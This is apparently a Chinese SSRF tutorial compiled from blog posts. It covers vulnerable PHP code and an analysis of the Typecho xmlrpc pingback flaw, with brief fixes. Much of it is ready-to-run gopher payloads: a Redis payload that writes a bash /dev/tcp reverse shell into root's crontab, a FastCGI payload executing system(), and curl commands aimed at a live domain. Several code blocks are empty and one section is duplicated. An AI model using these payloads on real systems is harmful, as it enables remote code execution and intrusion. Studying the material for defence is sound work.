0x01 漏洞原因
一、漏洞解释
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
如果应用程序对用户提供的URL和远端服务器返回的信息没有进行合适的验证和过滤,就可能存在这种服务端请求伪造的缺陷。Google,Facebook,Adobe,baidu,tencent等知名公司都被发现过这种漏洞。攻击者利用ssrf可以实现的攻击主要有5种:
1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;
2.攻击运行在内网或本地的应用程序(比如溢出);
3.对内网web应用进行指纹识别,通过访问默认文件实现;
4.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);
5.利用file协议读取本地文件等。
二、常见漏洞代码
ssrf攻击可能存在任何语言编写的应用,我们通过一些php实现的代码来作为样例分析。代码的大部分来自于真实的应用源码。
利用file_get_contents()
1 |
|
这段代码使用file_get_contents函数从用户指定的url获取图片。然后把它用一个随即文件名保存在硬盘上,并展示给用户。
利用fsockopen()
1 |
|
这段代码使用fsockopen函数实现获取用户制定url的数据(文件或者html)。这个函数会使用socket跟服务器建立tcp连接,传输原始数据。
利用curl
1 |
|
使用curl获取数据并保存。
代码来源:
http://www.freebuf.com/articles/web/20407.html
其他漏洞代码
PHP:file_get_contents
、fsockopen
Java:org.apache.http.client.methods.HttpGet、java.net.HttpURLConnection
具体情况请看如下连接:
http://www.joychou.org/index.php/web/javassrf.html
发现了一个野生博主:
0x02 SSRF in PHP
一、 漏洞简介
SSRF(Server-side Request Forge, 服务端请求伪造)。
由攻击者构造的攻击链接传给服务端执行造成的漏洞,一般用来在外网探测或攻击内网服务。
二、 漏洞利用
自从煤老板的paper放出来过后,SSRF逐渐被大家利用和重视起来。
2.1 本地利用
拿PHP常出现问题的cURL举例。
可以看到cURL支持大量的协议,例如file, dict, gopher, http
1 | ➜ curl -V |
本地利用姿势:
1 | # 利用file协议查看文件 |
2.2 远程利用
漏洞代码ssrf.php
(未做任何SSRF防御)
1 | function curl($url){ |
远程利用方式:
1 | # 利用file协议任意文件读取 |
漏洞代码ssrf2.php
- 限制协议为HTTP、HTTPS
- 设置跳转重定向为True(默认不跳转)
1 |
|
此时,再使用dict协议已经不成功。
1 | http://sec.com:8082/sec/ssrf2.php?url=dict://127.0.0.1:6379/info |
三、如何转换成gopher协议
刚一开始看到这个协议,不知道如何转换。希望写点经验给大家,有不对的地方,还望指出。
3.1 redis反弹shell
先写一个redis反弹shell的bash脚本如下:
我不喜欢用flushall,太不友好。
1 | echo -e "\n\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n"|redis-cli -h $1 -p $2 -x set 1 |
该代码很简单,在redis的第0个数据库中添加key为1,value为\n\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n\n
的字段。最后会多出一个n是因为echo重定向最后会自带一个换行符。
执行脚本命令:
1 | bash shell.sh 127.0.0.1 6379 |
想获取Redis攻击的TCP数据包,可以使用socat进行端口转发。转发命令如下:
1 | socat -v tcp-listen:4444,fork tcp-connect:localhost:6379 |
意思是将本地的4444端口转发到本地的6379端口。访问该服务器的4444端口,访问的其实是该服务器的6379端口。
执行脚本
1 | bash shell.sh 127.0.0.1 4444 |
捕获到数据如下:
1 | > 2017/10/11 01:24:52.432446 length=85 from=0 to=84 |
转换规则如下:
- 如果第一个字符是
>
或者<
那么丢弃该行字符串,表示请求和返回的时间。 - 如果前3个字符是
+OK
那么丢弃该行字符串,表示返回的字符串。 - 将
\r
字符串替换成%0d%0a
- 空白行替换为
%0a
写了个脚本进行转换:tran2gopher.py
1 | python tran2gopher.py socat.log |
结果为:
1 | *3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$58%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a |
需要注意的是,如果要换IP和端口,前面的$58
也需要更改,$58
表示字符串长度为58个字节,上面的EXP即是%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0a
,3+51+4=58。如果想换成42.256.24.73,那么$58需要改成$61,以此类推就行。
本地cURL测试是否成功写入:
1 | curl -v 'gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$58%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a' |
返回5个OK
1 | +OK |
证明应该没有问题。那再检测以下Redis写入的字段和crontab的内容。
- 检测Redis数据库的字段为
"\n\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n\n\n"
- 检测crontab的内容也没有问题
3.2 攻击FastCGI
3.2.1 利用条件
- libcurl版本>=7.45.0
- PHP-FPM监听端口
- PHP-FPM版本 >= 5.3.3
- 知道服务器上任意一个php文件的绝对路径
由于EXP里有%00,CURL版本小于7.45.0的版本,gopher的%00会被截断。
https://curl.haxx.se/changes.html#7_45_0
Fixed in 7.45.0 - October 7 2015
gopher: don't send NUL byte
3.2.2 转换为Gopher的EXP
监听一个端口的流量 nc -lvv 2333 > 1.txt
,执行EXP,流量打到2333端口
1 | python fpm.py -c "<?php system('echo sectest > /tmp/1.php'); exit;?>" -p 2333 127.0.0.1 /usr/local/nginx/html/p.php |
urlencode
1 | f = open('1.txt') |
得到gopher的EXP
1 | %01%01%16%21%00%08%00%00%00%01%00%00%00%00%00%00%01%04%16%21%01%E7%00%00%0E%02CONTENT_LENGTH50%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%1BSCRIPT_FILENAME/usr/local/nginx/html/p.php%0B%1BSCRIPT_NAME/usr/local/nginx/html/p.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%1BREQUEST_URI/usr/local/nginx/html/p.php%01%04%16%21%00%00%00%00%01%05%16%21%002%00%00%3C%3Fphp%20system%28%27echo%20sectest%20%3E%20/tmp/1.php%27%29%3B%20exit%3B%3F%3E%01%05%16%21%00%00%00%00 |
执行EXP
1 | curl 'gopher://127.0.0.1:9000/_%01%01%16%21%00%08%00%00%00%01%00%00%00%00%00%00%01%04%16%21%01%E7%00%00%0E%02CONTENT_LENGTH50%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%1BSCRIPT_FILENAME/usr/local/nginx/html/p.php%0B%1BSCRIPT_NAME/usr/local/nginx/html/p.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%1BREQUEST_URI/usr/local/nginx/html/p.php%01%04%16%21%00%00%00%00%01%05%16%21%002%00%00%3C%3Fphp%20system%28%27echo%20sectest%20%3E%20/tmp/1.php%27%29%3B%20exit%3B%3F%3E%01%05%16%21%00%00%00%00' |
四、漏洞代码
curl造成的SSRF
1 | function curl($url){ |
file_get_contents造成的SSRF
1 | $url = $_GET['url'];; |
fsockopen造成的SSRF
1 | function GetFile($host,$port,$link) |
五、漏洞修复
- 限制协议为HTTP、HTTPS
- 禁止30x跳转
- 设置URL白名单或者限制内网IP
六、Reference
0x03 Typecho SSRF Analysis and Exploit
一、前言
最近,WAF捕获到一条SSRF攻击payload,发现被攻击的域名是一个Typecho的博客系统。然后就去Google了下Typecho SSRF
关键字,发现和WordPress一样,xmlrpc也存在同样的SSRF问题。自己博客也是使用Typecho,所以就分析了下。
本文所有测试均在以下测试环境:
- Typecho 1.0 (14.10.10) 最新Release版本
- CentOS 7
- libcurl/7.29.0
- Redis server v=3.2.10
- PHP 5.4.16 (fpm-fcgi)
二、漏洞原理
XMLRPC这个接口在Typecho 1.0版本中,默认有该功能,并无设置选项。后面的1.1版本有设置该选项的功能。
XMLRPC里的Pingback
协议,很多人可能不知道 Pingback 协议是干嘛的。我在这里简单解释下,这个协议诞生在Web 2.0
概念诞生之初,由于在互联网世界各个博客站点之间是独立的存在,而它们之间又经常存在互相引用的情况。作为一个原创博主,我是无法知道我这篇文章被哪些站点引用过的,因此Pingback
协议就是为了解决这个问题存在的。
当你在写的文章发表后,如果文中引用了某个链接,系统会自动向那个链接发一个PING
,告诉对方我引用了这篇文章,地址是: xxx。对方收到这个PING
以后会根据你给的原文地址回去检验一下是否存在这个引用,这就是一次BACK
。检验完以后,会把这次引用记录下来,大家经常在Typecho
或者WordPress
之类博客评论列表里看到的引用记录,就是这么来的。
在BACK
对原文地址检验的时候,使用了cURL或者socket对原文地址发起网络请求,由于未做任何限制,导致SSRF漏洞。
2.1 代码分析
漏洞URL:http://localhost/action/xmlrpc
。POST提交以下Payload:
1 | <?xml version="1.0" encoding="utf-8"?> |
收到源地址服务器错误
这样的错误返回。
代码里搜索源地址服务器错误
,发现只有var/Widget/XmlRpc.php
文件里有,这就能确定案发现场了。只需要看懂public function pingbackPing($source, $target)
函数即可,该函数的$source
参数为http://127.0.0.1:2222
,$target
为joychou
先调用Typecho_Http_Client类的get方法,返回 发起HTTP请求的类。如果失败,直接返回错误,整个调用结束。
XmlRpc.php
1 | if (!($http = Typecho_Http_Client::get())) { |
get方法代码如下,功能为,从Client/Adapter/目录中,添加两个发起HTTP请求的类,一个是Curl,另一个是Socket。如果Curl可用,就用Curl,否则用fsockopen。
var/Typecho/Http/Client.php
1 | public static function get() |
回到XmlRpc.php,$http->setTimeout(5)->send($source);
该行代码用上面返回的HTTP类调用send方法发起HTTP请求。具体发起请求的代码var/Typecho/Http/Client/Adapter/Curl.php
1 | curl_setopt($ch, CURLOPT_URL, $url); |
由于是cURL造成的SSRF,利用姿势就比较多了。还有Socket.php也会造成SSRF。
2.2 代码整体逻辑
- 程序写了两种发起HTTP请求的方式,Curl和fsockopen,Curl如果可用,优先选择使用
- 如果cURL返回失败或者返回成功后但状态码不是200,返回
源地址服务器错误
- 如果cURL返回成功,并且状态码为200,如果没有
x-pingback
头,返回源地址不支持PingBack
,如果有x-pingback
头,就继续往下判断。
1 | try { |
三、漏洞利用
3.1 端口探测
所以,可以根据返回码,我们可以来探测端口。
- 返回
源地址服务器错误
,端口不开启。 - 返回
源地址不支持PingBack
或者其他错误,端口开启。
3.1.1 探测Redis端口
1 | curl "https://joychou.org/action/xmlrpc" -d '<methodCall><methodName>pingback.ping</methodName><params><param><value><string>http://127.0.0.1:6379</string></value></param><param><value><string>joychou</string></value></param></params></methodCall>' |
返回:
1 |
|
所以,这就很尴尬,php curl对http://127.0.0.1:6379
发起请求,返回true,但是状态码返回不是200。导致输出的也是源地址服务器错误
。所以应该就只能探测WEB端口了。类似Redis、FastCGI、Struts2就盲打吧…
而且用时间差测试,端口是否有无,时间差几乎一样。
3.1.2 探测Web服务
python开一个2222的Web服务python -m SimpleHTTPServer 2222
payload:
1 | curl "https://joychou.org/action/xmlrpc" -d '<methodCall><methodName>pingback.ping</methodName><params><param><value><string>http://127.0.0.1:2222</string></value></param><param><value><string>joychou</string></value></param></params></methodCall>' |
返回源地址不支持PingBack
,说明端口开启。
1 | <?xml version="1.0"?> |
3.2 攻击Redis
EXP中由于带有&
字符,需要使用CDATA。
1 |
|
3.3 攻击FastCGI
3.3.1 利用条件
- libcurl版本>=7.45.0
- PHP-FPM监听端口
- PHP-FPM版本 >= 5.3.3
- 知道服务器上任意一个php文件的绝对路径
由于EXP里有%00,CURL版本小于7.45.0的版本,gopher的%00会被截断。
https://curl.haxx.se/changes.html#7_45_0
Fixed in 7.45.0 - October 7 2015
gopher: don't send NUL byte
3.3.2 转换为Gopher的EXP
监听一个端口的流量 nc -lvv 2333 > 1.txt
,执行EXP,流量打到2333端口
1 | python fpm.py -c "<?php system('echo sectest > /tmp/1.php'); exit;?>" -p 2333 127.0.0.1 /usr/local/nginx/html/p.php |
urlencode
1 | f = open('1.txt') |
得到gopher的EXP
1 | %01%01%16%21%00%08%00%00%00%01%00%00%00%00%00%00%01%04%16%21%01%E7%00%00%0E%02CONTENT_LENGTH50%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%1BSCRIPT_FILENAME/usr/local/nginx/html/p.php%0B%1BSCRIPT_NAME/usr/local/nginx/html/p.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%1BREQUEST_URI/usr/local/nginx/html/p.php%01%04%16%21%00%00%00%00%01%05%16%21%002%00%00%3C%3Fphp%20system%28%27echo%20sectest%20%3E%20/tmp/1.php%27%29%3B%20exit%3B%3F%3E%01%05%16%21%00%00%00%00 |
执行EXP
1 | curl 'gopher://127.0.0.1:9000/_%01%01%16%21%00%08%00%00%00%01%00%00%00%00%00%00%01%04%16%21%01%E7%00%00%0E%02CONTENT_LENGTH50%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%1BSCRIPT_FILENAME/usr/local/nginx/html/p.php%0B%1BSCRIPT_NAME/usr/local/nginx/html/p.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%1BREQUEST_URI/usr/local/nginx/html/p.php%01%04%16%21%00%00%00%00%01%05%16%21%002%00%00%3C%3Fphp%20system%28%27echo%20sectest%20%3E%20/tmp/1.php%27%29%3B%20exit%3B%3F%3E%01%05%16%21%00%00%00%00' |
四、修复
4.1 热修复
- 如果不使用XMLRPC的pingback协议,可将/action/xmlrpc接口用Nginx处理下。
if ($uri ~ ^/action/xmlrpc$) {return 403;}
- WAF拦截
4.2 代码修复
- 限制协议为HTTP/HTTPS
- 判断IP是否是内网
- Curl.php和Socket.php都要修改
修复代码
看了2017 orange在blackhat的那篇文章,PHP的SSRF绕过姿势很多。这个修复代码就至少还能dns rebinding绕过。
有更好的修复方案,欢迎讨论。
最后官方很快给出了修复代码,修复的方式是限制IP为内网IP,并且协议限制为HTTPS/HTTP
五、Reference
来源: